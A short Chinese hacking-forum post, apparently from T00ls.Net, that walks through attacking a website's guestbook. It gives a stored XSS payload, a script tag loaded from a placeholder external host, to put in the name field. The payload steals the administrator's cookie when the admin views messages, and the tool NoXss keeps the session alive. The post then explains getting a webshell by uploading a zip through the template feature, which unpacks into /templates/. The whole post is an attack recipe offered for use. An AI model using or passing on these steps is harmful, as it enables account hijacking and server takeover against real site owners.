Author: Noevil
Post To: T00ls.Net

发这个纯是为了测试这个东西（NoXss）：

http://t00ls.net/viewthread.php?tid=17371

利用方法，在线留言处：

名字填写：   Noevil<SCRIPT SRC="HTTP://xxx/xss.js"></SCRIPT>

内容：随意。

后台管理员查看留言列表，自动截取Cookie，NoXss会努力的去Keep Session

登陆后台拿Shell：

添加模板，上传Zip，Zip里的东西会自动解压到 /templates/目录里。

剩下的你懂。